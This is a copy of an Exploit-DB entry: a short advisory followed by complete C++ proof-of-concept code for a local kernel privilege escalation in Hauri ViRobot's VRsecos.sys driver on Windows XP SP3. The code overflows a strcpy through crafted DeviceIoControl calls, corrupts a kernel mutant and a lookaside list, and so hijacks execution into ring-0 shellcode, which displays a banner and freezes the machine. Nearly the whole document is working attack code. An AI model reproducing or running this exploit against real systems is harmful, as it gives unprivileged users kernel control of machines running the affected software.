ViRobot Desktop 5.5 and Server 3.5 < 2008.8.1.1 - Local Privilege Escalation

  • 作者: MJ0011
    日期: 2010-12-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15764/
  • Hauri 
     ViRobot Desktop 5.5 & ViRobot Server 3.5 VRsecos.sys <=2008.8.1.1 Local Kernel Mode Privilege Escalation Vulnerability
    
    
    AUTHOR
    MJ0011
    
    EMAIL
    th_decoder$126.com
    
    VULNERABLE PRODUCTS
    Hauri ViRobot Desktop 5.5 and below
    Hauri ViRobot Server 3.5 and below
    
    DETAILS:
    VRsecos.sys create a device called "VRsecos" , and handles DeviceIoControl Code = 0x8307202c , which use the function "strcpy" to copy memory from irp systembuffer to driver's data area , can be overwrite critical kernel object memory in vrsecos.sys ' s data area
    
    
    EXPLOIT CODE: (Test On Windows XP SP3 , only for vrsecos.sys == 2008.8.1.1)
    \
    // virobot0day.cpp : Defines the entry point for the console application.
    //
    #include "stdafx.h"
    #include "windows.h"
    #include "malloc.h"
    typedef struct X_DISPATCHER_HEADER{
    UCHAR Type ; 
    UCHAR Absolute ; 
    UCHAR Size ; 
    UCHAR Inserted ; 
    ULONG SignalState ; 
    LIST_ENTRY WaitListHead ; 
    }X_DISPATCHER_HEADER , *PX_DISPATCHER_HEADER;
    typedef struct X_KMUTANT{
    X_DISPATCHER_HEADER Header ; 
    LIST_ENTRY MutantListEntry ; 
    PVOID OwnerThread ; 
    UCHAR Abandoned ; 
    UCHAR ApcDisable ; 
    }X_KMUTANT , *PX_KMUTANT;
    PVOID GetInfoTable(ULONG ATableType)
    {
    ULONG mSize = 0x4000;
    PVOID mPtr = NULL;
    LONG status;
    HMODULE hlib = GetModuleHandle("ntdll.dll");
    PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
    
    do
    {
    mPtr = malloc(mSize);
    if (mPtr)
    {
    __asm
    {
    push 0
    push mSize
    push mPtr
    push ATableType
    call pZwQuerySystemInformation
    mov status , eax
    }
    }
    else
    {
    return NULL;
    }
    if (status == 0xc0000004)
    {
    free(mPtr);
    mSize = mSize * 2;
    }
    } while (status == 0xc0000004);
    if (status == 0)
    {
    return mPtr;
    }
    free(mPtr);
    return NULL;
    }
    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
    } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
    typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
    } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
    enum { SystemModuleInformation = 11,
    SystemHandleInformation = 16 };
    typedef struct {
    ULONG Unknown1;
    ULONG Unknown2;
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHARImageName[256];
    } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
    typedef struct {
    ULONG Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
    typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
    typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
    typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2,
    ULONG color
    );
    typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
    ULONG Color
    );
    typedef
    VOID
    (*INBV_DISPLAY_STRING_FILTER)(
    PUCHAR *Str
    );
    typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
    INBV_DISPLAY_STRING_FILTER DisplayStringFilter
    );
    typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
    BOOLEAN bEnable
    );
    typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2
    );
    typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
    PUCHAR Str
    );
    PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; 
    PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; 
    PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; 
    PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; 
    PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; 
    PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; 
    PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; 
    PINBV_DISPLAY_STRING InbvDisplayString= 0 ; 
    #define VGA_COLOR_BLACK 0
    #define VGA_COLOR_RED 1
    #define VGA_COLOR_GREEN 2
    #define VGA_COLOR_GR 3
    #define VGA_COLOR_BULE 4
    #define VGA_COLOR_DARK_MEGAENTA 5
    #define VGA_COLOR_TURQUOISE 6
    #define VGA_COLOR_GRAY 7
    #define VGA_COLOR_BRIGHT_GRAY 8
    #define VGA_COLOR_BRIGHT_RED 9
    #define VGA_COLOR_BRIGHT_GREEN 10
    #define VGA_COLOR_BRIGHT_YELLOW 11
    #define VGA_COLOR_BRIGHT_BULE 12
    #define VGA_COLOR_BRIGHT_PURPLE 13
    #define VGA_COLOR_BRIGHT_TURQUOISE 14
    #define VGA_COLOR_WHITE 15
    UCHAR DisplayString[] = 
    ""
    
    ""
    
    ""
    
    "---- ===== EXPLOIT SUCCESSFULLY ==== ---- "
    
    ""
    
    ""
    
    " ViRobot Desktop 5.5 & ViRobot Server 3.5 Local Privilege Escalation Exploit"
    
    ""
    
    " VULNERABLE PRODUCT "
    
    ""
    
    " ViRobot Desktop 5.5 and below"
    
    " ViRobot Server 3.5 and below "
    
    ""
    
    " VULERABLE FILE "
    
    " VRsecos.sys <= 2008.8.1.1"
    
    ""
    
    " AUTHOR "
    
    ""
    
    " MJ0011 "
    
    " th_decoder$126.com "
    
    ""
    
    " 2010-8-22"
    
    ""
    
    ""
    
    "";
    
    VOID InbvShellCode()
    {
    //DISABLE INTERRUPT
    __asm
    {
    cli
    }
    //RESET TO VGA MODE
    InbvAcquireDisplayOwnership();
    InbvResetDisplay();
    //FILL FULL SCREEN
    InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
    //SET TEXT COLOR
    InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
    InbvInstallDisplayStringFilter(NULL);
    InbvEnableDisplayString(TRUE);
    InbvSetScrollRegion( 0 , 0 , 639 ,477);
    InbvDisplayString(DisplayString);
    while(TRUE)
    {
    };
    }
    BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
    {
    HMODULE hlib = LoadLibrary(ntosname);
    if (hlib == NULL)
    {
    return FALSE ; 
    }
    InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
    
    InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
    
    if (InbvAcquireDisplayOwnership &&
    InbvResetDisplay &&
    InbvSolidColorFill &&
    InbvSetTextColor &&
    InbvInstallDisplayStringFilter &&
    InbvEnableDisplayString &&
    InbvSetScrollRegion &&
    InbvDisplayString)
    {
    return TRUE ; 
    }
    return FALSE ; 
    }
    int main(int argc, char* argv[])
    {
    printf("ViRotbot Desktop 5.5 & ViRobot Server 3.5 vrsecos.sys <= 2008.8.1.1\n"
    "Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"
    "This Exploit Code Only for vrsecos == 2008.8.1.1\n"
    "Test On Windows XP SP3\n\n"
    "By MJ0011 th_decoder$126.com\n\n"
    "Press Enter\n");
    getchar();
    HANDLE hDev = CreateFile("\\\\.\\VRsecos" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 );
    
    if (hDev == INVALID_HANDLE_VALUE)
    {
    printf("cannot open device....%u\n" , GetLastError());
    //return 0;
    }
    //data for IoControlCode = 8307202C , buffer overrun
    PVOID pdata = malloc(0x2000);
    //fill non-zero data
    memset(pdata , 0x20 , 0x2000);
    //process mutx ...
    PX_KMUTANT pmutant = (PX_KMUTANT)((ULONG)pdata + 0x858 + 200);
    HANDLE hthread = OpenThread(THREAD_ALL_ACCESS , FALSE , GetCurrentThreadId());
    PSYSTEM_HANDLE_INFORMATION phi = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(SystemHandleInformation);
    
    PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
    
    //get base address of vrsecos.sys
    PVOID vrsecosbase = 0 ; 
    ULONG i ;
    for (i = 0 ; i < pmi->Count ; i ++)
    {
    if (stricmp((PCHAR)(pmi->Module[i].ImageName + strlen(pmi->Module[i].ImageName ) - strlen("vrsecos.sys")) ,
    
    "vrsecos.sys") == 0 )
    {
    vrsecosbase = pmi->Module[i].Base;
    break ; 
    }
    }
    if (vrsecosbase == 0 )
    {
    printf("cannot find vrsecos....\n");
    //return 0 ; 
    }
    if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\\')+1))
    {
    printf("cannot init inbv system\n");
    return 0 ;
    }
    //get thread object
    PVOID MyThreadOBJ = NULL ;
    for (i = 0 ;i < phi->NumberOfHandles ; i ++)
    {
    if (phi->Information[i].HandleValue == (USHORT)hthread &&
    phi->Information[i].UniqueProcessId == (USHORT)GetCurrentProcessId())
    {
    MyThreadOBJ = phi->Information[i].Object;
    break ; 
    }
    }
    if (MyThreadOBJ == NULL)
    {
    printf("cannot find my thread object\n");
    return 0 ;
    }
    //for KeWaitForSignleObject
    //KeWaitForSignleObject will check SignalState
    pmutant->Header.SignalState = 0x30303030;
    pmutant->MutantListEntry.Flink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0 ); 
    pmutant->MutantListEntry.Blink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0) ; 
    //for KeReleaseMutex , Mutant 's owner thread must be our thread when KeReleaseMutex
    
    pmutant->OwnerThread = MyThreadOBJ; 
    //for IOCTL CODE 0x83072014
    //spec NPAGED_LOOKASIDE_LIST List
    //
    // user address space 
    PVOID pAlloc = VirtualAlloc((PVOID)0x0A0A0A0A , 0x1000 , MEM_RESERVE|MEM_COMMIT , PAGE_READWRITE);
    
    if (pAlloc == NULL)
    {
    printf("cannot allocate spec addr %u\n! ", GetLastError());
    return 0 ; 
    }
    *(DWORD*)0x0a0a0101 = 0 ; 
    // vrsecos+2d68 < vrsecos+2d64
    // and vrsecos+2d68 < 0
    *(DWORD*)((ULONG)pdata + 0x81c +200) = 0xc1c1c1c1 ; 
    *(DWORD*)((ULONG)pdata + 0x820 + 200) = 0xc0c0c0c0 ;
    //fill NPAGED_LOOKASIDE_LIST
    *(DWORD*)((ULONG)pdata + 0xdd8 + 200) = 0x0a0a0101;
    *(DWORD*)((ULONG)pdata + 0xddc +200 ) = 0x01010101 ;
    //fill NPAGE_LOOKASIDE_LIST->AllocateRoutine
    //is our R0 Shell Code !!!
    *(DWORD*)((ULONG)pdata + 0xdd8 + 0x28 +200 ) = (DWORD)InbvShellCode;
    ULONG btr ; 
    ULONG temp;
    //memory overflow!!
    if (!DeviceIoControl(hDev , 0x8307202c , pdata , 0x1000 , NULL , 0 , &btr , NULL ))
    
    {
    printf("dev ctl 1 failed %u\n", GetLastError());
    return 0 ; 
    }
    PVOID pdata2 = malloc(0x6d4);
    *(DWORD*)pdata2 = 1; 
    *(ULONG*)((ULONG)pdata2 + 8 ) = 0 ; 
    strcpy((PCHAR)((ULONG)pdata2 + 264) , "exploit you !");
    strcpy((PCHAR)((ULONG)pdata2 + 464) , "exploit you !!");
    //first time , NPAGED_LOOKASIDE_LIST got ZERO !!
    if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &temp , 4 , &btr , 0 ))
    {
    printf("dev ctrl 2 failed %u\n", GetLastError());
    return 0 ; 
    }
    //second time , go NPAGED_LOOKASIDE_LIST->AllocateRoutine!!
    if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &temp , 4 , &btr , 0 ))
    {
    printf("dev ctrl 2 failed %u\n", GetLastError());
    return 0 ; 
    }
    return 0 ; 
    }